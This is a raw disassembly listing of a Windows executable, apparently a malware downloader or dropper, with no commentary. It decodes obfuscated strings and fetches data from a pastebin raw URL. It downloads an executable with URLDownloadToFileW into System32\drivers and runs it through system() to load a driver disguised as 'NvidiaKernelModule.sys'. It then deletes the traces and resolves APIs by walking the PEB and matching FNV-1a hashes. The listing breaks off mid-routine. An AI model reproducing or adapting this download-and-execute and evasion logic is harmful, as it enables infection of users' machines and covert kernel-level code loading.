imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140074c10
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x140075f09
movups xmm0, xmmword [0x1401000f8]
movups xmmword [rbp + 0xf8], xmm0
movsd xmm0, qword [0x140100108]
movsd qword [rbp + 0x108], xmm0
mov eax, dword [0x140100110]
mov dword [rbp + 0x110], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x114], al
mov r8d, r14d
cmp edi, 2
jl 0x140074def
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xfc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140074ce0
cmp r8d, 0x1d
jge 0x140074e33
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140074e00
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
lea rax, [rbp + 0xf8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140074e55
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x118]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r14
mov qword [rbp + 0x2b8], r14
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.ESfih238rhqwfdfd8.exe
lea rcx, [rbp + 0x2a0]
call fcn.140012c50
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x128]
sub rax, rcx
mov rdx, qword [rbp + 0x2b0]
cmp rax, rdx
jb 0x14007622c
lea r9, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r9, qword [rbp + 0x118]
lea rax, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0x10
cmovae rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x180]
call fcn.140035fc0
nop
mov rdi, qword [rbp + 0x190]
lea rbx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae rbx, qword [rbp + 0x180]
call fcn.1400e3b24
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x138]
call fcn.1400595c0
nop
lea rcx, [rbp + 0x138]
call fcn.14005aa90
movzx ebx, al
mov rdx, qword [rbp + 0x150]
cmp rdx, 8
jb 0x140074fac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074fa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
test bl, bl
je 0x140075066
mov rdi, qword [rbp + 0x190]
lea rbx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae rbx, qword [rbp + 0x180]
call fcn.1400e3b24
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0xf8]
call fcn.1400595c0
nop
lea rcx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 8
cmovae rcx, qword [rbp + 0xf8]
call fcn.1400e41b8
shr rax, 0x20
test eax, eax
jne 0x140076216
mov rdx, qword [rbp + 0x110]
cmp rdx, 8
jb 0x140075066
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075061
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075061
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_33
lea rdx, str.https:__pastebin.com_raw_KCbMDmik
lea rcx, [rbp + 0xf8]
call fcn.140012c50
nop
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x260]
call fcn.140068ec0
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x1400750ed
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400750e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400750e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
lea r8, [rbp + 0x260]
cmp qword [rbp + 0x278], 0x10
cmovae r8, qword [rbp + 0x260]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
mov r8, rbx
lea rcx, [rbp + 0x220]
call fcn.140080f00
nop
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x260]
cmp qword [rbp + 0x278], 0x10
cmovae r8, qword [rbp + 0x260]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae r8, qword [rbp + 0x180]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
mov r8, rbx
lea rcx, [rbp + 0x200]
call fcn.140080f00
nop
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae rcx, qword [rbp + 0x200]
lea r8, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae r8, qword [rbp + 0x180]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae r8, qword [rbp + 0x200]
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae rdx, qword [rbp + 0x220]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov r13, r14
mov qword [rbp + 0x1b0], r14
movdqu xmmword [rbp + 0x1b8], xmm1
mov r12, r14
mov qword [rbp + 0x1c8], r14
movdqu xmmword [rbp + 0x1d0], xmm1
mov rcx, r14
mov qword [rsp + 0x60], rcx
mov qword [rbp + 0x1e0], rcx
movdqu xmmword [rbp + 0x1e8], xmm1
mov qword [rbp + 0x158], rcx
mov qword [rbp + 0x1f8], rcx
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], r14
mov r8d, 6
lea rdx, str.693228
lea rcx, [rbp + 0xf8]
call fcn.140012c50
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
lea rcx, [rbp + 0x1a0]
cmp rcx, rax
je 0x140075358
mov r15, qword [rax]
mov qword [rbp + 0x1a0], r15
mov rbx, qword [rax + 8]
mov qword [rbp + 0x1a8], rbx
mov r13, qword [rax + 0x10]
mov qword [rbp + 0x1b0], r13
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
jmp 0x140075366
mov rbx, qword [rbp + 0x1a8]
mov r15, qword [rbp + 0x1a0]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400753a5
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400753a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400753a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, rbx
mov rdx, r15
lea rcx, [rbp + 0x430]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], r14
mov r8d, 6
lea rdx, str.917458
lea rcx, [rbp + 0xf8]
call fcn.140012c50
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
lea rcx, [rbp + 0x1b8]
xor edi, edi
cmp rcx, rax
je 0x14007543c
mov r14, qword [rax]
mov qword [rbp + 0x1b8], r14
mov rbx, qword [rax + 8]
mov qword [rbp + 0x1c0], rbx
mov r12, qword [rax + 0x10]
mov qword [rbp + 0x1c8], r12
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
jmp 0x14007544a
mov rbx, qword [rbp + 0x1c0]
mov r14, qword [rbp + 0x1b8]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140075489
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075484
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, rbx
mov rdx, r14
lea rcx, [rbp + 0x410]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rdi
mov r8d, 6
lea rdx, str.841639
lea rcx, [rbp + 0xf8]
call fcn.140012c50
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
lea rcx, [rbp + 0x1d0]
cmp rcx, rax
je 0x140075525
mov rdi, qword [rax]
mov qword [rbp + 0x1d0], rdi
mov rbx, qword [rax + 8]
mov qword [rbp + 0x1d8], rbx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
mov qword [rbp + 0x1e0], rcx
xor ecx, ecx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rcx
jmp 0x140075533
mov rbx, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1d0]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140075572
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007556d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007556d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp + 0x3f0]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
xor ecx, ecx
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x110], rcx
lea r8d, [rcx + 6]
lea rdx, str.619177
lea rcx, [rbp + 0xf8]
call fcn.140012c50
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
lea rcx, [rbp + 0x1e8]
cmp rcx, rax
je 0x140075617
mov rbx, qword [rax]
mov qword [rbp + 0x1e8], rbx
mov rdx, qword [rax + 8]
mov qword [rbp + 0xf0], rdx
mov qword [rbp + 0x1f0], rdx
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x158], rcx
mov qword [rbp + 0x1f8], rcx
xor ecx, ecx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rcx
jmp 0x14007562c
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0xf0], rax
mov rbx, qword [rbp + 0x1e8]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14007566b
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075666
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075666
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, qword [rbp + 0xf0]
mov rdx, rbx
lea rcx, [rbp + 0x3d0]
call fcn.140080dd0
nop
lea rax, [rbp + 0xf8]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
xor eax, eax
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], rax
mov r8, rsi
lea rdx, [0x140117c38]
inc r8
cmp byte [rdx + r8], al
jne 0x1400756b4
lea rcx, [rbp + 0xf8]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xor eax, eax
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], rax
lea rdx, [0x140117c58]
nop dword [rax + rax]
inc rsi
cmp byte [rdx + rsi], al
jne 0x1400756f0
mov r8, rsi
lea rcx, [rbp + 0x138]
call fcn.140012c50
nop
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0x138]
lea rcx, [0x140117ff0]
call fcn.140092220
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140118200], 0
jne 0x1400758aa
lea rdx, [0x140118208]
lea rcx, [rbp + 0x138]
call fcn.14005e890
nop
lea rcx, [rbp + 0x138]
call fcn.140035fb0
mov r9, rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140012ac0
xor ecx, ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r8, rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0xf8]
call fcn.14007ec80
nop
lea rcx, [rbp + 0xf8]
call fcn.14005e700
mov r10, rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140012ac0
mov r8, rax
lea rcx, [rbp + 0x138]
call fcn.140035fb0
mov r9, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r10
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075866
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075866
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075861
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075840
cmp r8d, 0x31a98fee
je 0x14007586b
test r9d, r9d
jne 0x140075820
mov rax, qword [rax]
jmp 0x1400757f0
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
lea rcx, [rbp + 0xf8]
call fcn.14005e700
xor r9d, r9d
lea r8, str.Error
mov rdx, rax
xor ecx, ecx
call r10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rbp + 0x430]
lea rcx, [rsp + 0x70]
call fcn.14005e890
nop
lea rdx, [rbp + 0x410]
lea rcx, [rbp - 0x70]
call fcn.14005e890
nop
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x50]
call fcn.14005e890
nop
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x30]
call fcn.14005e890
nop
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x80], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
lea rdx, [rbp + 0x70]
call fcn.140070030
nop
lea rcx, [rsp + 0x70]
call fcn.14006f9d0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x4b0]
call fcn.1400e5878
mov r8d, 2
lea rdx, str.C:_status.txt
lea rcx, [rbp + 0x4b0]
call fcn.14007e3b0
nop
lea rdx, str.Allowed
lea rcx, [rbp + 0x4b0]
call fcn.14007f210
lea rcx, [rbp + 0x4b8]
call fcn.14005ec50
test rax, rax
jne 0x140075a12
mov rax, qword [rbp + 0x4b0]
movsxd r8, dword [rax + 4]
lea rcx, [rbp + 0x4b0]
add rcx, r8
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.C:WindowsSystem32driversESfih238rhqwfdfd8.exe_C:WindowsSystem32driversNvidiaKernelModule.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0xf0], reloc.WLDAP32.dll_Ordinal_200
lea rcx, [rbp + 0xf0]
call fcn.14005f450
lea rcx, str.C:WindowsSystem32driversESfih238rhqwfdfd8.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:_status.txt
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rax, qword [rbp + 0x4b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4ac], edx
lea rcx, [rbp + 0x4b8]
call fcn.14005e230
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x558]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x140075aef
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075ae9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075ae9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0x10
jb 0x140075b34
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075b2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075b2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x408]
cmp rdx, 0x10
jb 0x140075b79
inc rdx
mov rcx, qword [rbp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075b73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075b73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x428]
cmp rdx, 0x10
jb 0x140075bbe
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075bb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075bb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x448]
cmp rdx, 0x10
jb 0x140075c03
inc rdx
mov rcx, qword [rbp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075bfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075bfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
test rbx, rbx
je 0x140075c46
mov rcx, qword [rbp + 0x158]
sub rcx, rbx
mov rax, rbx
cmp rcx, 0x1000
jb 0x140075c3a
add rcx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075c3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rcx
mov rcx, rbx
call fcn.1400e44b0
nop
test rdi, rdi
je 0x140075c87
mov rcx, qword [rsp + 0x60]
sub rcx, rdi
mov rax, rdi
cmp rcx, 0x1000
jb 0x140075c7b
add rcx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075c7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rcx
mov rcx, rdi
call fcn.1400e44b0
nop
test r14, r14
je 0x140075cc3
sub r12, r14
mov rax, r14
cmp r12, 0x1000
jb 0x140075cb7
add r12, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075cb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r12
mov rcx, r14
call fcn.1400e44b0
nop
test r15, r15
je 0x140075cff
sub r13, r15
mov rax, r15
cmp r13, 0x1000
jb 0x140075cf3
add r13, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075cf3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r15
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x140075d48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075d43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075d43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100430]
movdqu xmmword [rbp + 0x210], xmm0
xor ebx, ebx
mov word [rbp + 0x200], bx
mov rdx, qword [rbp + 0x238]
cmp rdx, 8
jb 0x140075daa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075da5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075da5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100430]
movdqu xmmword [rbp + 0x230], xmm0
mov word [rbp + 0x220], bx
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x140075e05
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075e00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075e00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x270], xmm0
mov byte [rbp + 0x260], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140075e60
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075e5b
